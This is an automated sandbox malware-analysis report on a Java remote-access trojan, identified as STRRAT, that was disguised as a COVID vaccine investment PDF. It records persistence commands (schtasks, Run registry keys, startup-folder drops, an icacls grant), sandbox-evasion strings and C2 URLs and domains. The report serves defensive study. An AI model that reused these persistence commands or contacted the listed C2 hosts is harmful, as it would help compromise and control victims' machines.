Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C721CD push esi; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7C1D1 push esi; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7BFD0 push edi; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7BFE9 push esi; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C73FF3 push eax; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C71BF9 push esi; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7C180 push edi; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7C198 push edi; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7BDA5 pushad ; retf 0015h
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7BDA1 push edx; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7BDA9 push edx; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C72151 push ebp; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7BD67 push edx; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7BF61 push ebp; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C71B69 push edx; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C71507 push edx; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C7BD01 push ebx; retf
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Code function: 13_3_15C71515 push esi; retf

Persistence and Installation Behavior:

Exploit detected, runtime environment dropped PE file

Show sources

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File created: jna7235467147341798336.dll.13.dr

Jump to dropped file

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File created: C:\Users\user\AppData\Local\Temp\jna-99048687\jna8178706811767784369.dll	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File created: C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll	Jump to dropped file
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File created: C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll	Jump to dropped file

Boot Survival:

Creates autostart registry keys to launch java

Show sources

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run plugins "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\plugins.jar" mp

Creates multiple autostart registry keys

Show sources

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run plugins
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: unknown

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vmlpusjwhz.txt

Jump to behavior

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vmlpusjwhz.txt			Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\vmlpusjwhz.txt			Jump to behavior

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run plugins
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run plugins

Hooking and other Techniques for Hiding and Protection:

Source: C:\Windows\SysWOW64\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: unknown

Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 'everyone':(OI)(CI)M

Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Source: C:\Windows\SysWOW64\wscript.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: java.exe, 00000006.00000003.203419915.0000000014C60000.00000004.00000001.sdmp	Binary or memory string: com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: java.exe, 00000006.00000003.203419915.0000000014C60000.00000004.00000001.sdmp	Binary or memory string: &com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: java.exe, 00000006.00000002.207991849.0000000014FD0000.00000002.00000001.sdmp, wscript.exe, 0000000A.00000002.220344385.0000000005AB0000.00000002.00000001.sdmp, javaw.exe, 0000000B.00000002.242535927.00000000156C0000.00000002.00000001.sdmp, java.exe, 0000000D.00000002.256904173.0000000015870000.00000002.00000001.sdmp, java.exe, 00000010.00000002.531541742.0000000015FF0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: java.exe, 00000006.00000002.206842992.0000000002675000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.236445612.0000000002870000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.251699367.0000000002DE0000.00000004.00000001.sdmp, java.exe, 00000010.00000002.512262138.0000000002730000.00000004.00000001.sdmp	Binary or memory string: ,java/lang/VirtualMachineError
Source: java.exe, 00000006.00000002.206842992.0000000002675000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.236445612.0000000002870000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.251699367.0000000002DE0000.00000004.00000001.sdmp, java.exe, 00000010.00000002.512262138.0000000002730000.00000004.00000001.sdmp	Binary or memory string: \|[Ljava/lang/VirtualMachineError;
Source: java.exe, 00000006.00000003.203419915.0000000014C60000.00000004.00000001.sdmp	Binary or memory string: org/omg/CORBA/OMGVMCID.classPK
Source: java.exe, 00000006.00000003.203419915.0000000014C60000.00000004.00000001.sdmp	Binary or memory string: java/lang/VirtualMachineError.classPK
Source: java.exe, 00000006.00000002.207991849.0000000014FD0000.00000002.00000001.sdmp, wscript.exe, 0000000A.00000002.220344385.0000000005AB0000.00000002.00000001.sdmp, javaw.exe, 0000000B.00000002.242535927.00000000156C0000.00000002.00000001.sdmp, java.exe, 0000000D.00000002.256904173.0000000015870000.00000002.00000001.sdmp, java.exe, 00000010.00000002.531541742.0000000015FF0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: java.exe, 00000006.00000002.207991849.0000000014FD0000.00000002.00000001.sdmp, wscript.exe, 0000000A.00000002.220344385.0000000005AB0000.00000002.00000001.sdmp, javaw.exe, 0000000B.00000002.242535927.00000000156C0000.00000002.00000001.sdmp, java.exe, 0000000D.00000002.256904173.0000000015870000.00000002.00000001.sdmp, java.exe, 00000010.00000002.531541742.0000000015FF0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: java.exe, 00000006.00000002.206791495.0000000000ADB000.00000004.00000020.sdmp, javaw.exe, 0000000B.00000002.236307282.0000000000F08000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: java.exe, 00000006.00000002.207991849.0000000014FD0000.00000002.00000001.sdmp, wscript.exe, 0000000A.00000002.220344385.0000000005AB0000.00000002.00000001.sdmp, javaw.exe, 0000000B.00000002.242535927.00000000156C0000.00000002.00000001.sdmp, java.exe, 0000000D.00000002.256904173.0000000015870000.00000002.00000001.sdmp, java.exe, 00000010.00000002.531541742.0000000015FF0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Anti Debugging:

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Memory protected: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\7za.exe 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 'everyone':(OI)(CI)M
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Windows\SysWOW64\wscript.exe wscript C:\Users\user\fukvowbkrs.js
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\vmlpusjwhz.txt'
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt'
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp

Source: java.exe, 00000010.00000002.511334653.0000000001070000.00000002.00000001.sdmp, notepad.exe, 00000015.00000002.512497714.0000014F58C60000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: java.exe, 00000010.00000002.511334653.0000000001070000.00000002.00000001.sdmp, notepad.exe, 00000015.00000002.512497714.0000014F58C60000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: java.exe, 00000010.00000002.511334653.0000000001070000.00000002.00000001.sdmp, notepad.exe, 00000015.00000002.512497714.0000014F58C60000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: java.exe, 00000010.00000002.511334653.0000000001070000.00000002.00000001.sdmp, notepad.exe, 00000015.00000002.512497714.0000014F58C60000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Code function: 6_2_02770380 cpuid

Source: C:\Windows\SysWOW64\wscript.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\JavaSoft\Java Runtime Environment CurrentVersion
Source: C:\Windows\SysWOW64\wscript.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\JavaSoft\Java Runtime Environment CurrentVersion

Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\vmlpusjwhz.txt VolumeInformation
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\vmlpusjwhz.txt VolumeInformation
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\vmlpusjwhz.txt VolumeInformation
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\vmlpusjwhz.txt VolumeInformation

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected STRRAT

Show sources

Source: Yara match	File source: 00000018.00000002.521334832.000000000A810000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.519763899.0000000004ECD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.517833863.000000000543D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.252958465.0000000005427000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.252569519.00000000051C5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: java.exe PID: 720, type: MEMORY
Source: Yara match	File source: Process Memory Space: java.exe PID: 4952, type: MEMORY

Remote Access Functionality:

Yara detected STRRAT

Show sources

Source: Yara match	File source: 00000018.00000002.521334832.000000000A810000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.519763899.0000000004ECD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.517833863.000000000543D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.252958465.0000000005427000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.252569519.00000000051C5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: java.exe PID: 720, type: MEMORY
Source: Yara match	File source: Process Memory Space: java.exe PID: 4952, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter2	Startup Items1	Startup Items1	Masquerading1	OS Credential Dumping	Query Registry1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Process Injection12	Virtualization/Sandbox Evasion1	LSASS Memory	Security Software Discovery11	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Encrypted Channel2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scripting1	Registry Run Keys / Startup Folder221	Scheduled Task/Job1	Disable or Modify Tools1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Exploitation for Client Execution2	Services File Permissions Weakness1	Registry Run Keys / Startup Folder221	Process Injection12	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Services File Permissions Weakness1	Scripting1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol12	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information1	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Services File Permissions Weakness1	DCSync	System Information Discovery32	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll	3%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll	3%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\jna-99048687\jna8178706811767784369.dll	3%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\jna-99048687\jna8178706811767784369.dll	0%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.xrampsecurity.com/XGCA.crl	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl	0%	URL Reputation	safe
http://bugreport.sun.com/bugreport/	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
https://github-releases.githubusercontent.com/51361554/623ef000-9da4-11e9-9ea2-d90155318994?X-Amz-Al	0%	Avira URL Cloud	safe
http://str-master.pw/strigoi/server/ping.php	0%	Avira URL Cloud	safe
http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5	0%	Avira URL Cloud	safe
http://ops.com.pa/jre7.zip	0%	Avira URL Cloud	safe
https://ocsp.quovadisoffshore.com	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://str-master.pw/strigoi/server/ping.php?lid=	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.html	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
http://str-master.pw/strigoi/server/ping.php?	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl	0%	URL Reputation	safe
http://www.quovadis.bm	0%	URL Reputation	safe
http://www.quovadis.bm	0%	URL Reputation	safe
http://www.quovadis.bm	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
http://www.allatori.com	0%	URL Reputation	safe
http://www.allatori.com	0%	URL Reputation	safe
http://www.allatori.com	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crlC5	0%	Avira URL Cloud	safe
http://str-master.pw	0%	Avira URL Cloud	safe
http://crl.chambersign.org/chambersroot.crl	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl	0%	URL Reputation	safe
http://www.chambersign.org	0%	URL Reputation	safe
http://www.chambersign.org	0%	URL Reputation	safe
http://www.chambersign.org	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://str-master.pw/strigoi/server/ping.php?lid=RUGR-ATSN-D14P-VBXX-49LW	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pluginserver.duckdns.org	23.239.31.129	true	true	unknown
sonatype.map.fastly.net	199.232.192.209	true	false	unknown
github.com	140.82.121.3	true	false	high
strizzz100.duckdns.org	107.175.144.243	true	true	unknown
github-releases.githubusercontent.com	185.199.108.154	true	false	unknown
pastebin.com	104.23.99.190	true	false	high
str-master.pw	unknown	unknown	true	unknown
repo1.maven.org	unknown	unknown	false	high
jbfrost.live	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.xrampsecurity.com/XGCA.crl	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253571843.000000000A727000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://repo1.maven.org/maven2/net/java/dev/jna/jna-platform/5.5.0/jna-platform-5.5.0.jar	javaw.exe, 0000000B.00000002.238456779.0000000009F50000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253150120.000000000A550000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520395442.0000000009F50000.00000004.00000001.sdmp	false		high
http://crl.chambersign.org/chambersroot.crl0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	javaw.exe, 0000000B.00000002.242664932.000000001582F000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.txt	java.exe, 0000000D.00000003.248758362.0000000015676000.00000004.00000001.sdmp, java.exe, 00000010.00000003.277137784.0000000014FD2000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/	javaw.exe, 0000000B.00000002.240871910.000000000A2CE000.00000004.00000001.sdmp	false		high
http://www.certplus.com/CRL/class2.crl	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://bugreport.sun.com/bugreport/	java.exe, 0000000D.00000002.252198805.0000000005052000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520685745.0000000009F96000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://java.oracle.com/	java.exe, 00000006.00000002.207053367.0000000004800000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238616990.0000000009FA2000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253246566.000000000A5A2000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520749260.0000000009FA0000.00000004.00000001.sdmp	false		high
http://null.oracle.com/	javaw.exe, 0000000B.00000003.228995438.00000000150EA000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.239181413.000000000A03C000.00000004.00000001.sdmp, java.exe, 0000000D.00000003.248758362.0000000015676000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253348649.000000000A630000.00000004.00000001.sdmp, java.exe, 00000010.00000003.277137784.0000000014FD2000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521112026.000000000A02F000.00000004.00000001.sdmp	false		high
http://www.chambersign.org1	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://github-releases.githubusercontent.com/51361554/623ef000-9da4-11e9-9ea2-d90155318994?X-Amz-Al	javaw.exe, 0000000B.00000002.240730122.000000000A276000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238157882.0000000004EA7000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.240964215.000000000A300000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.240871910.000000000A2CE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://str-master.pw/strigoi/server/ping.php	java.exe, 00000010.00000002.517809140.0000000004DC1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.swisssign.com/0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false		high
